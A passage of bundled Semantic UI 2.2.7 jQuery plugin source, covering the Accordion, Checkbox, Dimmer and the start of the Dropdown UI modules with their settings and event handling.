currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.accordion.settings = { name : 'Accordion', namespace : 'accordion', silent : false, debug : false, verbose : false, performance : true, on : 'click', // event on title that opens accordion observeChanges : true, // whether accordion should automatically refresh on DOM insertion exclusive : true, // whether a single accordion content panel should be open at once collapsible : true, // whether accordion content can be closed closeNested : false, // whether nested content should be closed when a panel is closed animateChildren : true, // whether children opacity should be animated duration : 350, // duration of animation easing : 'easeOutQuad', // easing equation for animation onOpening : function(){}, // callback before open animation onOpen : function(){}, // callback after open animation onClosing : function(){}, // callback before closing animation onClose : function(){}, // callback after closing animation onChange : function(){}, // callback after closing or opening animation error: { method : 'The method you called is not defined' }, className : { active : 'active', animating : 'animating' }, selector : { accordion : '.accordion', title : '.title', trigger : '.title', content : '.content' } }; // Adds easing $.extend( $.easing, { easeOutQuad: function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; } }); })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Checkbox * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.checkbox = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = $.extend(true, {}, $.fn.checkbox.settings, parameters), className = settings.className, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $label = $(this).children(selector.label), $input = $(this).children(selector.input), input = $input[0], initialLoad = false, shortcutPressed = false, instance = $module.data(moduleNamespace), observer, element = this, module ; module = { initialize: function() { module.verbose('Initializing checkbox', settings); module.create.label(); module.bind.events(); module.set.tabbable(); module.hide.input(); module.observeChanges(); module.instantiate(); module.setup(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying module'); module.unbind.events(); module.show.input(); $module.removeData(moduleNamespace); }, fix: { reference: function() { if( $module.is(selector.input) ) { module.debug('Behavior called on <input> adjusting invoked element'); $module = $module.closest(selector.checkbox); module.refresh(); } } }, setup: function() { module.set.initialLoad(); if( module.is.indeterminate() ) { module.debug('Initial value is indeterminate'); module.indeterminate(); } else if( module.is.checked() ) { module.debug('Initial value is checked'); module.check(); } else { module.debug('Initial value is unchecked'); module.uncheck(); } module.remove.initialLoad(); }, refresh: function() { $label = $module.children(selector.label); $input = $module.children(selector.input); input = $input[0]; }, hide: { input: function() { module.verbose('Modifying <input> z-index to be unselectable'); $input.addClass(className.hidden); } }, show: { input: function() { module.verbose('Modifying <input> z-index to be selectable'); $input.removeClass(className.hidden); } }, observeChanges: function() { if('MutationObserver' in window) { observer = new MutationObserver(function(mutations) { module.debug('DOM tree modified, updating selector cache'); module.refresh(); }); observer.observe(element, { childList : true, subtree : true }); module.debug('Setting up mutation observer', observer); } }, attachEvents: function(selector, event) { var $element = $(selector) ; event = $.isFunction(module[event]) ? module[event] : module.toggle ; if($element.length > 0) { module.debug('Attaching checkbox events to element', selector, event); $element .on('click' + eventNamespace, event) ; } else { module.error(error.notFound); } }, event: { click: function(event) { var $target = $(event.target) ; if( $target.is(selector.input) ) { module.verbose('Using default check action on initialized checkbox'); return; } if( $target.is(selector.link) ) { module.debug('Clicking link inside checkbox, skipping toggle'); return; } module.toggle(); $input.focus(); event.preventDefault(); }, keydown: function(event) { var key = event.which, keyCode = { enter : 13, space : 32, escape : 27 } ; if(key == keyCode.escape) { module.verbose('Escape key pressed blurring field'); $input.blur(); shortcutPressed = true; } else if(!event.ctrlKey && ( key == keyCode.space || key == keyCode.enter) ) { module.verbose('Enter/space key pressed, toggling checkbox'); module.toggle(); shortcutPressed = true; } else { shortcutPressed = false; } }, keyup: function(event) { if(shortcutPressed) { event.preventDefault(); } } }, check: function() { if( !module.should.allowCheck() ) { return; } module.debug('Checking checkbox', $input); module.set.checked(); if( !module.should.ignoreCallbacks() ) { settings.onChecked.call(input); settings.onChange.call(input); } }, uncheck: function() { if( !module.should.allowUncheck() ) { return; } module.debug('Unchecking checkbox'); module.set.unchecked(); if( !module.should.ignoreCallbacks() ) { settings.onUnchecked.call(input); settings.onChange.call(input); } }, indeterminate: function() { if( module.should.allowIndeterminate() ) { module.debug('Checkbox is already indeterminate'); return; } module.debug('Making checkbox indeterminate'); module.set.indeterminate(); if( !module.should.ignoreCallbacks() ) { settings.onIndeterminate.call(input); settings.onChange.call(input); } }, determinate: function() { if( module.should.allowDeterminate() ) { module.debug('Checkbox is already determinate'); return; } module.debug('Making checkbox determinate'); module.set.determinate(); if( !module.should.ignoreCallbacks() ) { settings.onDeterminate.call(input); settings.onChange.call(input); } }, enable: function() { if( module.is.enabled() ) { module.debug('Checkbox is already enabled'); return; } module.debug('Enabling checkbox'); module.set.enabled(); settings.onEnable.call(input); // preserve legacy callbacks settings.onEnabled.call(input); }, disable: function() { if( module.is.disabled() ) { module.debug('Checkbox is already disabled'); return; } module.debug('Disabling checkbox'); module.set.disabled(); settings.onDisable.call(input); // preserve legacy callbacks settings.onDisabled.call(input); }, get: { radios: function() { var name = module.get.name() ; return $('input[name="' + name + '"]').closest(selector.checkbox); }, otherRadios: function() { return module.get.radios().not($module); }, name: function() { return $input.attr('name'); } }, is: { initialLoad: function() { return initialLoad; }, radio: function() { return ($input.hasClass(className.radio) || $input.attr('type') == 'radio'); }, indeterminate: function() { return $input.prop('indeterminate') !== undefined && $input.prop('indeterminate'); }, checked: function() { return $input.prop('checked') !== undefined && $input.prop('checked'); }, disabled: function() { return $input.prop('disabled') !== undefined && $input.prop('disabled'); }, enabled: function() { return !module.is.disabled(); }, determinate: function() { return !module.is.indeterminate(); }, unchecked: function() { return !module.is.checked(); } }, should: { allowCheck: function() { if(module.is.determinate() && module.is.checked() && !module.should.forceCallbacks() ) { module.debug('Should not allow check, checkbox is already checked'); return false; } if(settings.beforeChecked.apply(input) === false) { module.debug('Should not allow check, beforeChecked cancelled'); return false; } return true; }, allowUncheck: function() { if(module.is.determinate() && module.is.unchecked() && !module.should.forceCallbacks() ) { module.debug('Should not allow uncheck, checkbox is already unchecked'); return false; } if(settings.beforeUnchecked.apply(input) === false) { module.debug('Should not allow uncheck, beforeUnchecked cancelled'); return false; } return true; }, allowIndeterminate: function() { if(module.is.indeterminate() && !module.should.forceCallbacks() ) { module.debug('Should not allow indeterminate, checkbox is already indeterminate'); return false; } if(settings.beforeIndeterminate.apply(input) === false) { module.debug('Should not allow indeterminate, beforeIndeterminate cancelled'); return false; } return true; }, allowDeterminate: function() { if(module.is.determinate() && !module.should.forceCallbacks() ) { module.debug('Should not allow determinate, checkbox is already determinate'); return false; } if(settings.beforeDeterminate.apply(input) === false) { module.debug('Should not allow determinate, beforeDeterminate cancelled'); return false; } return true; }, forceCallbacks: function() { return (module.is.initialLoad() && settings.fireOnInit); }, ignoreCallbacks: function() { return (initialLoad && !settings.fireOnInit); } }, can: { change: function() { return !( $module.hasClass(className.disabled) || $module.hasClass(className.readOnly) || $input.prop('disabled') || $input.prop('readonly') ); }, uncheck: function() { return (typeof settings.uncheckable === 'boolean') ? settings.uncheckable : !module.is.radio() ; } }, set: { initialLoad: function() { initialLoad = true; }, checked: function() { module.verbose('Setting class to checked'); $module .removeClass(className.indeterminate) .addClass(className.checked) ; if( module.is.radio() ) { module.uncheckOthers(); } if(!module.is.indeterminate() && module.is.checked()) { module.debug('Input is already checked, skipping input property change'); return; } module.verbose('Setting state to checked', input); $input .prop('indeterminate', false) .prop('checked', true) ; module.trigger.change(); }, unchecked: function() { module.verbose('Removing checked class'); $module .removeClass(className.indeterminate) .removeClass(className.checked) ; if(!module.is.indeterminate() && module.is.unchecked() ) { module.debug('Input is already unchecked'); return; } module.debug('Setting state to unchecked'); $input .prop('indeterminate', false) .prop('checked', false) ; module.trigger.change(); }, indeterminate: function() { module.verbose('Setting class to indeterminate'); $module .addClass(className.indeterminate) ; if( module.is.indeterminate() ) { module.debug('Input is already indeterminate, skipping input property change'); return; } module.debug('Setting state to indeterminate'); $input .prop('indeterminate', true) ; module.trigger.change(); }, determinate: function() { module.verbose('Removing indeterminate class'); $module .removeClass(className.indeterminate) ; if( module.is.determinate() ) { module.debug('Input is already determinate, skipping input property change'); return; } module.debug('Setting state to determinate'); $input .prop('indeterminate', false) ; }, disabled: function() { module.verbose('Setting class to disabled'); $module .addClass(className.disabled) ; if( module.is.disabled() ) { module.debug('Input is already disabled, skipping input property change'); return; } module.debug('Setting state to disabled'); $input .prop('disabled', 'disabled') ; module.trigger.change(); }, enabled: function() { module.verbose('Removing disabled class'); $module.removeClass(className.disabled); if( module.is.enabled() ) { module.debug('Input is already enabled, skipping input property change'); return; } module.debug('Setting state to enabled'); $input .prop('disabled', false) ; module.trigger.change(); }, tabbable: function() { module.verbose('Adding tabindex to checkbox'); if( $input.attr('tabindex') === undefined) { $input.attr('tabindex', 0); } } }, remove: { initialLoad: function() { initialLoad = false; } }, trigger: { change: function() { var events = document.createEvent('HTMLEvents'), inputElement = $input[0] ; if(inputElement) { module.verbose('Triggering native change event'); events.initEvent('change', true, false); inputElement.dispatchEvent(events); } } }, create: { label: function() { if($input.prevAll(selector.label).length > 0) { $input.prev(selector.label).detach().insertAfter($input); module.debug('Moving existing label', $label); } else if( !module.has.label() ) { $label = $('<label>').insertAfter($input); module.debug('Creating label', $label); } } }, has: { label: function() { return ($label.length > 0); } }, bind: { events: function() { module.verbose('Attaching checkbox events'); $module .on('click' + eventNamespace, module.event.click) .on('keydown' + eventNamespace, selector.input, module.event.keydown) .on('keyup' + eventNamespace, selector.input, module.event.keyup) ; } }, unbind: { events: function() { module.debug('Removing events'); $module .off(eventNamespace) ; } }, uncheckOthers: function() { var $radios = module.get.otherRadios() ; module.debug('Unchecking other radios', $radios); $radios.removeClass(className.checked); }, toggle: function() { if( !module.can.change() ) { if(!module.is.radio()) { module.debug('Checkbox is read-only or disabled, ignoring toggle'); } return; } if( module.is.indeterminate() || module.is.unchecked() ) { module.debug('Currently unchecked'); module.check(); } else if( module.is.checked() && module.can.uncheck() ) { module.debug('Currently checked'); module.uncheck(); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.checkbox.settings = { name : 'Checkbox', namespace : 'checkbox', silent : false, debug : false, verbose : true, performance : true, // delegated event context uncheckable : 'auto', fireOnInit : false, onChange : function(){}, beforeChecked : function(){}, beforeUnchecked : function(){}, beforeDeterminate : function(){}, beforeIndeterminate : function(){}, onChecked : function(){}, onUnchecked : function(){}, onDeterminate : function() {}, onIndeterminate : function() {}, onEnable : function(){}, onDisable : function(){}, // preserve misspelled callbacks (will be removed in 3.0) onEnabled : function(){}, onDisabled : function(){}, className : { checked : 'checked', indeterminate : 'indeterminate', disabled : 'disabled', hidden : 'hidden', radio : 'radio', readOnly : 'read-only' }, error : { method : 'The method you called is not defined' }, selector : { checkbox : '.ui.checkbox', label : 'label, .box', input : 'input[type="checkbox"], input[type="radio"]', link : 'a[href]' } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Dimmer * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.dimmer = function(parameters) { var $allModules = $(this), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.dimmer.settings, parameters) : $.extend({}, $.fn.dimmer.settings), selector = settings.selector, namespace = settings.namespace, className = settings.className, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, moduleSelector = $allModules.selector || '', clickEvent = ('ontouchstart' in document.documentElement) ? 'touchstart' : 'click', $module = $(this), $dimmer, $dimmable, element = this, instance = $module.data(moduleNamespace), module ; module = { preinitialize: function() { if( module.is.dimmer() ) { $dimmable = $module.parent(); $dimmer = $module; } else { $dimmable = $module; if( module.has.dimmer() ) { if(settings.dimmerName) { $dimmer = $dimmable.find(selector.dimmer).filter('.' + settings.dimmerName); } else { $dimmer = $dimmable.find(selector.dimmer); } } else { $dimmer = module.create(); } module.set.variation(); } }, initialize: function() { module.debug('Initializing dimmer', settings); module.bind.events(); module.set.dimmable(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module', $dimmer); module.unbind.events(); module.remove.variation(); $dimmable .off(eventNamespace) ; }, bind: { events: function() { if(settings.on == 'hover') { $dimmable .on('mouseenter' + eventNamespace, module.show) .on('mouseleave' + eventNamespace, module.hide) ; } else if(settings.on == 'click') { $dimmable .on(clickEvent + eventNamespace, module.toggle) ; } if( module.is.page() ) { module.debug('Setting as a page dimmer', $dimmable); module.set.pageDimmer(); } if( module.is.closable() ) { module.verbose('Adding dimmer close event', $dimmer); $dimmable .on(clickEvent + eventNamespace, selector.dimmer, module.event.click) ; } } }, unbind: { events: function() { $module .removeData(moduleNamespace) ; $dimmable .off(eventNamespace) ; } }, event: { click: function(event) { module.verbose('Determining if event occured on dimmer', event); if( $dimmer.find(event.target).length === 0 || $(event.target).is(selector.content) ) { module.hide(); event.stopImmediatePropagation(); } } }, addContent: function(element) { var $content = $(element) ; module.debug('Add content to dimmer', $content); if($content.parent()[0] !== $dimmer[0]) { $content.detach().appendTo($dimmer); } }, create: function() { var $element = $( settings.template.dimmer() ) ; if(settings.dimmerName) { module.debug('Creating named dimmer', settings.dimmerName); $element.addClass(settings.dimmerName); } $element .appendTo($dimmable) ; return $element; }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.debug('Showing dimmer', $dimmer, settings); if( (!module.is.dimmed() || module.is.animating()) && module.is.enabled() ) { module.animate.show(callback); settings.onShow.call(element); settings.onChange.call(element); } else { module.debug('Dimmer is already shown or disabled'); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.dimmed() || module.is.animating() ) { module.debug('Hiding dimmer', $dimmer); module.animate.hide(callback); settings.onHide.call(element); settings.onChange.call(element); } else { module.debug('Dimmer is not visible'); } }, toggle: function() { module.verbose('Toggling dimmer visibility', $dimmer); if( !module.is.dimmed() ) { module.show(); } else { module.hide(); } }, animate: { show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) { if(settings.opacity !== 'auto') { module.set.opacity(); } $dimmer .transition({ animation : settings.transition + ' in', queue : false, duration : module.get.duration(), useFailSafe : true, onStart : function() { module.set.dimmed(); }, onComplete : function() { module.set.active(); callback(); } }) ; } else { module.verbose('Showing dimmer animation with javascript'); module.set.dimmed(); if(settings.opacity == 'auto') { settings.opacity = 0.8; } $dimmer .stop() .css({ opacity : 0, width : '100%', height : '100%' }) .fadeTo(module.get.duration(), settings.opacity, function() { $dimmer.removeAttr('style'); module.set.active(); callback(); }) ; } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) { module.verbose('Hiding dimmer with css'); $dimmer .transition({ animation : settings.transition + ' out', queue : false, duration : module.get.duration(), useFailSafe : true, onStart : function() { module.remove.dimmed(); }, onComplete : function() { module.remove.active(); callback(); } }) ; } else { module.verbose('Hiding dimmer with javascript'); module.remove.dimmed(); $dimmer .stop() .fadeOut(module.get.duration(), function() { module.remove.active(); $dimmer.removeAttr('style'); callback(); }) ; } } }, get: { dimmer: function() { return $dimmer; }, duration: function() { if(typeof settings.duration == 'object') { if( module.is.active() ) { return settings.duration.hide; } else { return settings.duration.show; } } return settings.duration; } }, has: { dimmer: function() { if(settings.dimmerName) { return ($module.find(selector.dimmer).filter('.' + settings.dimmerName).length > 0); } else { return ( $module.find(selector.dimmer).length > 0 ); } } }, is: { active: function() { return $dimmer.hasClass(className.active); }, animating: function() { return ( $dimmer.is(':animated') || $dimmer.hasClass(className.animating) ); }, closable: function() { if(settings.closable == 'auto') { if(settings.on == 'hover') { return false; } return true; } return settings.closable; }, dimmer: function() { return $module.hasClass(className.dimmer); }, dimmable: function() { return $module.hasClass(className.dimmable); }, dimmed: function() { return $dimmable.hasClass(className.dimmed); }, disabled: function() { return $dimmable.hasClass(className.disabled); }, enabled: function() { return !module.is.disabled(); }, page: function () { return $dimmable.is('body'); }, pageDimmer: function() { return $dimmer.hasClass(className.pageDimmer); } }, can: { show: function() { return !$dimmer.hasClass(className.disabled); } }, set: { opacity: function(opacity) { var color = $dimmer.css('background-color'), colorArray = color.split(','), isRGB = (colorArray && colorArray.length == 3), isRGBA = (colorArray && colorArray.length == 4) ; opacity = settings.opacity === 0 ? 0 : settings.opacity || opacity; if(isRGB || isRGBA) { colorArray[3] = opacity + ')'; color = colorArray.join(','); } else { color = 'rgba(0, 0, 0, ' + opacity + ')'; } module.debug('Setting opacity to', opacity); $dimmer.css('background-color', color); }, active: function() { $dimmer.addClass(className.active); }, dimmable: function() { $dimmable.addClass(className.dimmable); }, dimmed: function() { $dimmable.addClass(className.dimmed); }, pageDimmer: function() { $dimmer.addClass(className.pageDimmer); }, disabled: function() { $dimmer.addClass(className.disabled); }, variation: function(variation) { variation = variation || settings.variation; if(variation) { $dimmer.addClass(variation); } } }, remove: { active: function() { $dimmer .removeClass(className.active) ; }, dimmed: function() { $dimmable.removeClass(className.dimmed); }, disabled: function() { $dimmer.removeClass(className.disabled); }, variation: function(variation) { variation = variation || settings.variation; if(variation) { $dimmer.removeClass(variation); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; module.preinitialize(); if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.dimmer.settings = { name : 'Dimmer', namespace : 'dimmer', silent : false, debug : false, verbose : false, performance : true, // name to distinguish between multiple dimmers in context dimmerName : false, // whether to add a variation type variation : false, // whether to bind close events closable : 'auto', // whether to use css animations useCSS : true, // css animation to use transition : 'fade', // event to bind to on : false, // overriding opacity value opacity : 'auto', // transition durations duration : { show : 500, hide : 500 }, onChange : function(){}, onShow : function(){}, onHide : function(){}, error : { method : 'The method you called is not defined.' }, className : { active : 'active', animating : 'animating', dimmable : 'dimmable', dimmed : 'dimmed', dimmer : 'dimmer', disabled : 'disabled', hide : 'hide', pageDimmer : 'page', show : 'show' }, selector: { dimmer : '> .ui.dimmer', content : '.ui.dimmer > .content, .ui.dimmer > .content > .center' }, template: { dimmer: function() { return $('<div />').attr('class', 'ui dimmer'); } } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Dropdown * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.dropdown = function(parameters) { var $allModules = $(this), $document = $(document), moduleSelector = $allModules.selector || '', hasTouch = ('ontouchstart' in document.documentElement), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function(elementIndex) { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.dropdown.settings, parameters) : $.extend({}, $.fn.dropdown.settings), className = settings.className, message = settings.message, fields = settings.fields, keys = settings.keys, metadata = settings.metadata, namespace = settings.namespace, regExp = settings.regExp, selector = settings.selector, error = settings.error, templates = settings.templates, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $text = $module.find(selector.text), $search = $module.find(selector.search), $sizer = $module.find(selector.sizer), $input = $module.find(selector.input), $icon = $module.find(selector.icon), $combo = ($module.prev().find(selector.text).length > 0) ? $module.prev().find(selector.text) : $module.prev(), $menu = $module.children(selector.menu), $item = $menu.find(selector.item), activated = false, itemActivated = false, internalChange = false, element = this, instance = $module.data(moduleNamespace), initialLoad, pageLostFocus, willRefocus, elementNamespace, id, selectObserver, menuObserver, module ; module = { initialize: function() { module.debug('Initializing dropdown', settings); if( module.is.alreadySetup() ) { module.setup.reference(); } else { module.setup.layout(); module.refreshData(); module.save.defaults(); module.restore.selected(); module.create.id(); module.bind.events(); module.observeChanges(); module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of dropdown', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous dropdown', $module); module.remove.tabbable(); $module .off(eventNamespace) .removeData(moduleNamespace) ; $menu .off(eventNamespace) ; $document .off(elementNamespace) ; module.disconnect.menuObserver(); module.disconnect.selectObserver(); }, observeChanges: function() { if('MutationObserver' in window) { selectObserver = new MutationObserver(module.event.select.mutation); menuObserver = new MutationObserver(module.event.menu.mutation); module.debug('Setting up mutation observer', selectObserver, menuObserver); module.observe.select(); module.observe.menu(); } }, disconnect: { menuObserver: function() { if(menuObserver) { menuObserver.disconnect(); } }, selectObserver: function() { if(selectObserver) { selectObserver.disconnect(); } } }, observe: { select: function() { if(module.has.input()) { selectObserver.observe($input[0], { childList : true, subtree : true }); } }, menu: function() { if(module.has.menu()) { menuObserver.observe($menu[0], { childList : true, subtree : true }); } } }, create: { id: function() { id = (Math.random().toString(16) + '000000000').substr(2, 8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); }, userChoice: function(values) { var $userChoices, $userChoice, isUserValue, html ; values = values || module.get.userValues(); if(!values) { return false; } values = $.isArray(values) ? values : [values] ; $.each(values, function(index, value) { if(module.get.item(value) === false) { html = settings.templates.addition( module.add.variables(message.addResult, value) ); $userChoice = $('<div />') .html(html) .attr('data-' + metadata.value, value) .attr('data-' + metadata.text, value) .addClass(className.addition) .addClass(className.item) ; if(settings.hideAdditions) { $userChoice.addClass(className.hidden); } $userChoices = ($userChoices === undefined) ? $userChoice : $userChoices.add($userChoice) ; 